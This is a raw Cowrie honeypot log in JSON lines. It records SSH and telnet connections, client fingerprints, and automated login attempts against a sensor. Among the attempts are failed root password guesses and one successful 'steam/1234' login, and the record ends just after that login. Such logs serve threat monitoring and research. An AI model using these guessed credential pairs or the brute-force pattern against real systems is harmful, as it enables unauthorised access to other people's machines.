{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":42650,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa084d13f1f5","protocol":"ssh","message":"New connection: 189.194.140.170:42650 (159.203.135.109:22) [session: fa084d13f1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:13.616215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:13.622056Z","src_ip":"189.194.140.170","session":"fa084d13f1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:13.716383Z","src_ip":"189.194.140.170","session":"fa084d13f1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.474021196365356,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:13.851742Z","src_ip":"142.93.2.99","session":"d8e419228734","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:14.102534Z","src_ip":"189.194.140.170","session":"fa084d13f1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.72120690345764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:14.876331Z","src_ip":"142.93.2.99","session":"56eba93b39fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:15.202379Z","src_ip":"189.194.140.170","session":"fa084d13f1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ee305527f7d","protocol":"telnet","message":"New connection: 142.93.2.99:53598 (159.203.135.109:23) [session: 2ee305527f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:16.514522Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54010,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf086f9252f","protocol":"telnet","message":"New connection: 142.93.2.99:54010 (159.203.135.109:23) [session: 8cf086f9252f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:17.013238Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54810,"dst_ip":"159.203.135.109","dst_port":23,"session":"64692d585300","protocol":"telnet","message":"New connection: 142.93.2.99:54810 (159.203.135.109:23) [session: 64692d585300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:17.970035Z"}
{"eventid":"cowrie.session.closed","duration":32.52615022659302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:19.228942Z","src_ip":"142.93.2.99","session":"a15b7238d3d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ea8873198fd","protocol":"telnet","message":"New connection: 142.93.2.99:57240 (159.203.135.109:23) [session: 9ea8873198fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:20.628339Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57416,"dst_ip":"159.203.135.109","dst_port":23,"session":"263d103619a0","protocol":"telnet","message":"New connection: 142.93.2.99:57416 (159.203.135.109:23) [session: 263d103619a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:20.845298Z"}
{"eventid":"cowrie.session.closed","duration":34.40638518333435,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:21.614146Z","src_ip":"142.93.2.99","session":"fefe51b707a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57988,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed650d9d72db","protocol":"telnet","message":"New connection: 142.93.2.99:57988 (159.203.135.109:23) [session: ed650d9d72db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:22.505798Z"}
{"eventid":"cowrie.session.closed","duration":32.232293367385864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:22.577930Z","src_ip":"142.93.2.99","session":"1649bad59da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.811752796173096,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:23.652708Z","src_ip":"142.93.2.99","session":"ee2f80c97f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60394,"dst_ip":"159.203.135.109","dst_port":23,"session":"acde837a83a5","protocol":"telnet","message":"New connection: 142.93.2.99:60394 (159.203.135.109:23) [session: acde837a83a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:25.310473Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35874,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a49a6886454","protocol":"telnet","message":"New connection: 142.93.2.99:35874 (159.203.135.109:23) [session: 4a49a6886454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:28.432457Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36380,"dst_ip":"159.203.135.109","dst_port":23,"session":"49e4e8f8b1b9","protocol":"telnet","message":"New connection: 142.93.2.99:36380 (159.203.135.109:23) [session: 49e4e8f8b1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:28.980992Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38332,"dst_ip":"159.203.135.109","dst_port":23,"session":"28734e0774d8","protocol":"telnet","message":"New connection: 142.93.2.99:38332 (159.203.135.109:23) [session: 28734e0774d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:31.169075Z"}
{"eventid":"cowrie.session.closed","duration":33.167948961257935,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:32.650665Z","src_ip":"142.93.2.99","session":"9637a6286a2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40210,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cd5558627e","protocol":"telnet","message":"New connection: 142.93.2.99:40210 (159.203.135.109:23) [session: b8cd5558627e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:33.274360Z"}
{"eventid":"cowrie.session.closed","duration":33.62846398353577,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:33.336347Z","src_ip":"142.93.2.99","session":"96710bceaeed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41482,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d393862dbf","protocol":"telnet","message":"New connection: 142.93.2.99:41482 (159.203.135.109:23) [session: b9d393862dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:35.575601Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40262,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d54bc56f95e","protocol":"telnet","message":"New connection: 142.93.2.99:40262 (159.203.135.109:23) [session: 5d54bc56f95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:36.337808Z"}
{"eventid":"cowrie.session.closed","duration":34.99376845359802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:36.451511Z","src_ip":"142.93.2.99","session":"686b09b932a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"7525cb9bbd63","protocol":"telnet","message":"New connection: 142.93.2.99:44374 (159.203.135.109:23) [session: 7525cb9bbd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:37.714557Z"}
{"eventid":"cowrie.session.closed","duration":34.915971994400024,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:41.363886Z","src_ip":"142.93.2.99","session":"40863ffcee38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50328,"dst_ip":"159.203.135.109","dst_port":23,"session":"050b2be23f58","protocol":"telnet","message":"New connection: 142.93.2.99:50328 (159.203.135.109:23) [session: 050b2be23f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:43.652414Z"}
{"eventid":"cowrie.session.closed","duration":32.04649090766907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:43.674413Z","src_ip":"142.93.2.99","session":"53aa7e261d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51530,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eb405b7a193","protocol":"telnet","message":"New connection: 142.93.2.99:51530 (159.203.135.109:23) [session: 9eb405b7a193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:44.906310Z"}
{"eventid":"cowrie.session.closed","duration":33.36743998527527,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:46.124282Z","src_ip":"142.93.2.99","session":"3a66f6944ff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53908,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e0278d328d1","protocol":"telnet","message":"New connection: 142.93.2.99:53908 (159.203.135.109:23) [session: 8e0278d328d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:47.670644Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8398304ad15","protocol":"telnet","message":"New connection: 142.93.2.99:54054 (159.203.135.109:23) [session: c8398304ad15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:47.809948Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55388,"dst_ip":"159.203.135.109","dst_port":23,"session":"967683a1bb40","protocol":"telnet","message":"New connection: 142.93.2.99:55388 (159.203.135.109:23) [session: 967683a1bb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:49.093915Z"}
{"eventid":"cowrie.session.closed","duration":32.19170022010803,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:49.204806Z","src_ip":"142.93.2.99","session":"8cf086f9252f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76915884017944,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:50.283590Z","src_ip":"142.93.2.99","session":"2ee305527f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54708,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1307ad7d5e","protocol":"telnet","message":"New connection: 142.93.2.99:54708 (159.203.135.109:23) [session: ac1307ad7d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:51.473571Z"}
{"eventid":"cowrie.session.closed","duration":33.52951264381409,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:51.499424Z","src_ip":"142.93.2.99","session":"64692d585300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39093780517578,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:53.019198Z","src_ip":"142.93.2.99","session":"9ea8873198fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.586538553237915,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:54.431744Z","src_ip":"142.93.2.99","session":"263d103619a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33804,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca2905f7c63c","protocol":"telnet","message":"New connection: 142.93.2.99:33804 (159.203.135.109:23) [session: ca2905f7c63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:55.767422Z"}
{"eventid":"cowrie.session.closed","duration":33.785415172576904,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:56.291114Z","src_ip":"142.93.2.99","session":"ed650d9d72db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18318009376526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:58.493540Z","src_ip":"142.93.2.99","session":"acde837a83a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47867822647095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:01.911018Z","src_ip":"142.93.2.99","session":"4a49a6886454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25469517707825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:04.235571Z","src_ip":"142.93.2.99","session":"49e4e8f8b1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.27419328689575,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:04.443128Z","src_ip":"142.93.2.99","session":"28734e0774d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42318,"dst_ip":"159.203.135.109","dst_port":23,"session":"069df60b5441","protocol":"telnet","message":"New connection: 142.93.2.99:42318 (159.203.135.109:23) [session: 069df60b5441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:04.822458Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59568,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b248289733e","protocol":"ssh","message":"New connection: 189.194.140.170:59568 (159.203.135.109:22) [session: 4b248289733e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:05.055248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:05.062282Z","src_ip":"189.194.140.170","session":"4b248289733e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:05.155697Z","src_ip":"189.194.140.170","session":"4b248289733e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@123456789","message":"login attempt [root/@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:05.538646Z","src_ip":"189.194.140.170","session":"4b248289733e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:06.637964Z","src_ip":"189.194.140.170","session":"4b248289733e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.163246393203735,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:07.437543Z","src_ip":"142.93.2.99","session":"b8cd5558627e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48720026016235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:08.062843Z","src_ip":"142.93.2.99","session":"b9d393862dbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26853013038635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:08.606234Z","src_ip":"142.93.2.99","session":"5d54bc56f95e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46244,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fc42d427b89","protocol":"telnet","message":"New connection: 142.93.2.99:46244 (159.203.135.109:23) [session: 4fc42d427b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:09.051227Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"570295be638d","protocol":"telnet","message":"New connection: 104.245.105.2:49796 (10.17.0.5:23) [session: 570295be638d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:09.947929Z"}
{"eventid":"cowrie.session.closed","duration":32.31410002708435,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:10.028564Z","src_ip":"142.93.2.99","session":"7525cb9bbd63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48706,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf13bb1964d9","protocol":"telnet","message":"New connection: 142.93.2.99:48706 (159.203.135.109:23) [session: cf13bb1964d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:11.454953Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49856,"dst_ip":"159.203.135.109","dst_port":23,"session":"58de5d63faf9","protocol":"telnet","message":"New connection: 142.93.2.99:49856 (159.203.135.109:23) [session: 58de5d63faf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:12.700998Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":36762,"dst_ip":"159.203.135.109","dst_port":22,"session":"442af1389cae","protocol":"ssh","message":"New connection: 202.165.22.58:36762 (159.203.135.109:22) [session: 442af1389cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:12.859448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:12.864328Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:13.156688Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50590,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42faa0b2a6d","protocol":"telnet","message":"New connection: 142.93.2.99:50590 (159.203.135.109:23) [session: a42faa0b2a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:13.457001Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"1234","message":"login attempt [steam/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:14.346210Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:14.979247Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
